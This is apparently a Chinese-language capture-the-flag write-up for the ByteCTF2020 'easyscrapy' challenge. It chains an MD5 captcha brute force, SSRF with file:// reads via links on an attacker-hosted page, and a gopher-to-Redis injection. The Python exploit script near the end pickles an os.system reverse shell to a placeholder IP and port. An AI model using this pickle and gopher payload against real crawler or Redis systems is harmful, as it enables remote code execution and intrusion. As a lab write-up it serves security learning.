hint1: Try to read the spider source code, maybe you can test it locally
hint2: How to attack distributed system and get rce on the spider node?
hint3: scrapy_redis
站点主页面有两个输入框,一个是爬虫目标、一个是验证码,爬取后的结果会在/result?url=
页面返回。
验证码直接爆破:
1
2
3
4
5
|
import hashlib
for i in range(99999999):
if hashlib.md5(str(i).encode()).hexdigest()[:6] == '6e79f7':
print(i)
break
|
Trick:验证码输过一次后抓包repeater可以避免再次爆破验证码,url中:/.
都要url编码。
先尝试能不能直接file协议读,url输入file:///etc/passwd
,返回
Only support http or https!
有waf。那在vps上试试,向vps发起请求,观察请求头:
User-Agent: scrapy_redis
User-Agent: PycURL/7.43.0.6 libcurl/7.64.0 OpenSSL/1.1.1d zlib/1.2.11 libidn2/2.0.5 libpsl/0.20.2 (+libidn2/2.0.5) libssh2/1.8.0 nghttp2/1.36.0 librtmp/2.3
发起两次请求,两次请求的UA分别是上面的redis
和pycurl
, redis打了没回显,放弃。
那就试试它的公网IP,输入http://101.200.50.18:30010
,成功返回爬取的主页html内容,且/list
路由的内容也一并返回了。
而主页的html内容只有
1
|
<li class="layui-nav-item"><a href="/list">MyUrlList</a></li>
|
说明scrapy会顺着链接继续爬取内容,此时能想到利用a标签结合file协议实现文件任意读。
在vps上起一个简易的http服务:
1
|
python -m SimpleHTTPServer Port
|
配合file:///etc/passwd
,果然返回了文件内容。此时再分别读取/proc/self/cmdline
和/proc/self/environ
。
cmdline: 包含进程的完整命令行信息
/usr/local/bin/python /usr/local/bin/scrapy crawl byte
environ: 当前正在运行的进程的环境变量列表
HOSTNAME=72983b72e40a PYTHON_VERSION=3.8.5 PWD=/code HOME=/home/ctf ... PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin _=/usr/local/bin/scrapy
从中我们可以得到当前路径/code
和爬虫名byte
,结合Scrapy入门教程的scrapy项目结构:
1
2
3
4
5
6
7
8
9
10
|
tutorial/
scrapy.cfg
tutorial/
__init__.py
items.py
pipelines.py
settings.py
spiders/
__init__.py
...
|
在/code
路由下我们可以读项目源码,使用的python库:
scarpy、scrapy_redis、pymongo
mongo不会打(wp里也没打通),搞redis,库懒得下,就在scrapy-redis直接读源码,发现一个文件picklecompat.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
"""A pickle wrapper module with protocol=-1 by default."""
try:
import cPickle as pickle # PY2
except ImportError:
import pickle
def loads(s):
return pickle.loads(s)
def dumps(obj):
return pickle.dumps(obj, protocol=-1)
|
存在pickle反序列化操作,并在queue.py
的Base类中将request对象存入spider对象,并进行换名操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
def _encode_request(self, request):
"""Encode a request object"""
obj = request_to_dict(request, self.spider)
return self.serializer.dumps(obj)
def _decode_request(self, encoded_request):
"""Decode an request previously encoded"""
obj = self.serializer.loads(encoded_request)
return request_from_dict(obj, self.spider)
...
# queue.py的换名操作
...
SpiderPriorityQueue = PriorityQueue
|
再经过一系列操作最后在scheduler.py
将数据存入爬虫:request
的有序集合中
1
2
3
4
5
6
|
def next_request(self):
block_pop_timeout = self.idle_before_close
request = self.queue.pop(block_pop_timeout)
if request and self.stats:
self.stats.inc_value('scheduler/dequeued/redis', spider=self.spider)
return request
|
总的来说就是我们可以通过pickle反序列化配合gopher协议弹shell,redis有序集需要zadd命令:
Redis Zadd 命令用于将一个或多个成员元素及其分数值加入到有序集当中。
如果某个成员已经是有序集的成员,那么更新这个成员的分数值,并通过重新插入这个成员元素,来保证该成员在正确的位置上。
1
2
3
4
5
6
7
8
9
10
11
12
|
import pickle
import os
from urllib.parse import quote
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system, (s,))
test = str(pickle.dumps(exp()))
poc = test.replace("\n",'\\n').replace("\"","\\\"")[2:-1]
poc ='gopher://172.20.0.7:6379/_'+quote('ZADD byte:requests 0 "')+quote(poc)+quote('"')
# print(poc)
print(quote(poc))
|
不知道是不是环境问题,shell弹不了(试了好几个wp的payload都弹不了)。。。暂且就这样吧。
ByteCTF2020复现
ByteCTF2020-easyscrapy
ByteCTF2020
ByteCTF 2020 部分题目 官方Writeup